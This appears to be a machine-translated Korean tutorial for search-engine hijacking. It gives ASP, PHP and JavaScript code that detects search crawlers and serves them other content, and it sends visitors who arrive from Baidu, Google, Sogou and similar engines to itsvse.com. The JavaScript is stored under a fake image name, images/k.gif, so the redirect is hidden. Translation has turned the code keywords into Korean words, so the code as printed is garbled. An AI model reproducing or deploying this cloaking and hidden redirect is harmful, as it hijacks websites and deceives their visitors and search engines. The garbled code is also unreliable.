먼저, 간단합니다. 다음 코드를 메인 페이지에 추가하세요:
ASP 버전 <!--#include file="conn.asp"--> <스크립트 src="images\k.gif"></script>
PHP 버전 <!--#include file="conn.php"--> <스크립트 src="images\k.gif"></script>
그리고 웹사이트 프로그램에 따라 다음 코드를 코드 파일에 추가하세요. conn.asp나 conn.php가 없다면 직접 만들어 보세요:
conn.asp판
다음 복제본------------------------------------------- <% 함수 isspider() 딤 에이전트, 세라레이, I agent="agent:"&LCase(request.servervariables("http_user_agent")) searray=array("googlebot","baiduspider","sogou","yahoo","soso","360spider") isspider= false i=0에서 ubound(searray)에 대해. 만약 (instr(agent,searray(i))>0) 이면 isspider=참입니다 다음 엔드 기능
함수 fromse() dim urlrefer,i, searray urlrefer="refer:"&LCase(request. ServerVariables("HTTP_REFERER")) 프롬세= 거짓 urlrefer=""라면 fromse= false searray=array("google","baidu","sogou","yahoo","soso","360") i=0에서 ubound(searray)에 대해. 만약 (instr(URLREFER,searray(i))>0) 이면 fromse=참 다음 엔드 기능
함수 gethttp(URL) DIM HTTP Set http=createobject("MSXML2. XMLHTTP") http.open "GET", URL, false Http.send() 만약 Http.readystate<>4라면 종료 기능 끝나는 경우 gethttp=bytes2BSTR(Http.responseBody) Set http=nothing 만약 err.number<>0이라면 err. 비켜 엔드 기능
function bytes2BSTR(vIn) 딤 스트리턴 딤 아이, 이 캐릭터 코드, 다음 캐릭터 코드 strReturn = "" 에 i = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) 만약 ThisCharCode < &H80이라면, strReturn = strReturn & Chr(ThisCharCode) 그렇지 않으면 NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + Cint(NextCharCode)) I = I + 1 끝 If 다음 bytes2BSTR = strReturn 최종 기능
if(isspider()) Dim MyFSO, FileURL, Filecon, myfile, bodyurl, remotehtml bodyurl="http://www.itsvse.com" //스냅샷 URL 응답.명확 RemoteHTML=gethttp(bodyurl) response.write(remotehtml) response.write("<!--"&now()&"-->") 응답.플러시 response.end 끝나는 경우
%>
conn.php
다음 복제본---------------- 있습니다----------------
<?php 함수 is_search_bot(){ $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']); $identify = array('바이두스파이더', '소고우 거미', '소소스파이더', '아이스크스파이더', '네이버로봇'); foreach ($identify AS $key => $tag){ 만약 (strstr($user_agent, $tag)){ 진짜로 반환; } } return false; } 함수 is_urlbaidu() { $come_from="baidu@sogou@soso@iask@naver"; $referer = explode("@",$come_from); foreach($referer as $url){ 만약 (stristr($_SERVER['HTTP_REFERER'],$url)){ 진짜로 반환; } } return false; }
만약 (is_search_bot()) { $html = "<title>우한 소프트웨어공학 직업대학</title> <메타 이름=\"저자\" 내용=\"키워드와 같은 내용을 채워 넣으세요\"> <메타 이름=\"키워드\" 내용=\"키워드\"> <메타 이름=
\"설명\" 내용=\"설명\"> </head> <body>내용</body></html>"; 에코 $html; } 만약 (!is_search_bot() & is_urlbaidu())
{ 헤더('위치:http://www.itsvse.com');
} ?>
마지막으로, 이미지 디렉터리에 코드k.gif k.gif 파일을 업로드하세요:
var s=document.referrer if(s.indexOf("백두")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0) location.href="http://www.itsvse.com"; 리디렉션 URL
|